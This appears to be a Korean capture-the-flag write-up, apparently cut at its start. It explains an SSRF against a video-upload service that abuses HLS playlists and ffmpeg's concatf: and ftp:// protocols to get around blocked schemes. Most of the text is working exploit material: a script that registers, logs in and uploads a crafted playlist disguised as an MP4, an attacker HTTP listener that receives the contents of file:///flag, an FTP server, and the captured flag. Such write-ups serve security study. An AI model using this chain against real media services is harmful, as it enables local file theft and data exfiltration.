하지만, 해당 문제에서는 특정 프로토콜(file
, subfile
, http
, https
)을 사용할 수 없도록 지정되어 있습니다.
concatf:
, ftp://
프로토콜을 사용하면, 이를 우회하여 SSRF 공격을 수행할 수 있습니다.
비디오 파일 업로드 시, ftp://
프로토콜을 통해 외부 서버 내 poc.ts
파일을 가져옵니다.
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-STREAM-INF:BANDWIDTH=1280000
concatf:ftp://{username}:{password}@{ftp_server_ip}:{ftp_server_port}/poc.ts
이후, FTP 서버를 통해 다운로드 받은 ts(transport stream) 파일에는 외부 서버의 header.m3u8
, file:///flag
요청을 포함합니다.
HLS 처리 과정에서 세그먼트 파일(.ts
)을 읽게 되고, concatf:
프로토콜에 의해 file:///flag
요청의 응답이 header.m3u8
파일 내 정의된 외부 서버 요청을 통해 전달됩니다.
poc.ts
http://{server_ip}:7777/header.m3u8
file:///flag
header.m3u8
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://{server_ip}:7777/?
Exploit Code
(주의사항: FTP Server, Passive Mode 포트 오픈)
exploit.py
import requests
import random
def dummy_image(name):
img = Image.new("RGB", (1, 1))
img.filename = name # 강제로 filename 속성 지정
return img
URL = "http://54.180.130.172"
s = requests.Session()
ftp_server_ip = ""
ftp_server_port = ""
random_num = random.randint(1000,9999)
json = {
"username":f"xxxxx{random_num}",
"password":f"xxxxx{random_num}",
"name":f"xxxxx{random_num}",
"phone":f"0101111{random_num}",
"email":f"xxxxx{random_num}@gmail.com",
"consent": True
}
r = s.post(
f"{URL}/api/register",
json=json
)
print(r.text)
r = s.post(
f"{URL}/api/login",
json={
"username": json["username"],
"password": json["password"]
}
)
token = r.json()["token"]
print(f"Token: {token}")
headers = {
"Authorization": f"Bearer {token}"
}
exploit_data = f'''#EXTM3U
#EXT-X-VERSION:3
#EXT-X-STREAM-INF:BANDWIDTH=1280000
concatf:ftp://user:12345@{ftp_server_ip}:{ftp_server_port}/poc.ts'''
r = s.post(
f"{URL}/api/videos",
headers=headers,
files={
"intro": (None, "xxx"),
"video": ("x.mp4", exploit_data, "video/mp4"),
"isPrivate": (None, "true"),
}
)
print(r.status_code)
print(r.text)
app.py (HTTP Server, server_ip:port)
from flask import Flask, Response
app = Flask(__name__)
@app.route("/", methods=["GET"])
def home():
return "Hello, World!", 200
@app.route('/header.m3u8')
def serve_file():
content = '''#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://{server_ip}:7777/?'''
return Response(content, content_type='text/plain')
# Flask 서버 실행
if __name__ == "__main__":
app.run(host="0.0.0.0", port=7777)
poc.ts
http://{server_ip}:7777/header.m3u8
file:///flag
ftp_server.py (FTP Server, server_ip:port)
# filename: ftp_server.py
import os
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler, ThrottledDTPHandler, TLS_FTPHandler
from pyftpdlib.servers import FTPServer
def main():
# 설정값
FTP_HOST = "0.0.0.0"
FTP_PORT = 8888
HOME_DIR = os.path.abspath("./ftp_root")
USERNAME = "user"
PASSWORD = "12345"
ENABLE_ANONYMOUS = False # 익명 허용하려면 True
PASSIVE_PORTS = range(50000, 50001) # Passive 모드 포트 범위
MAX_UPLOAD = 10 * 1024 * 1024 # 업로드 속도 제한 (bytes/s) 예: 10MB/s
MAX_DOWNLOAD = 50 * 1024 * 1024 # 다운로드 속도 제한 (bytes/s)
os.makedirs(HOME_DIR, exist_ok=True)
authorizer = DummyAuthorizer()
# e=리스트, l=파일리스트, r=다운, a=append, d=삭제, f=파일명변경, m=디렉토리만들기, w=업로드, M=권한변경, T=시간변경
authorizer.add_user(USERNAME, PASSWORD, HOME_DIR, perm="elradfmw")
if ENABLE_ANONYMOUS:
authorizer.add_anonymous(HOME_DIR, perm="elr") # 익명은 읽기 전용 예시
# 핸들러 & 대역폭/패시브 설정
handler = FTPHandler
dtp_handler = ThrottledDTPHandler
dtp_handler.read_limit = MAX_DOWNLOAD
dtp_handler.write_limit = MAX_UPLOAD
handler.dtp_handler = dtp_handler
handler.passive_ports = PASSIVE_PORTS
handler.authorizer = authorizer
# 배너/로그
handler.banner = "pyftpdlib FTP server ready."
# 서버 시작
address = (FTP_HOST, FTP_PORT)
server = FTPServer(address, handler)
# 동시 접속 제한
server.max_cons = 256
server.max_cons_per_ip = 5
print(f"FTP running on {FTP_HOST}:{FTP_PORT} (home={HOME_DIR})")
print(f"User: {USERNAME} / Pass: {PASSWORD}")
print(f"Passive ports: {PASSIVE_PORTS.start}-{PASSIVE_PORTS.stop-1}")
server.serve_forever()
if __name__ == "__main__":
main()
Flag
cce2025{1c6da795b22eb6e5d24953bd5fe2e97aae4bb145409a077d2dc834ceb4a9e8e9ff75124bd0124680b4e8b865f5cb4755fbc4f9e6d4f5eef0}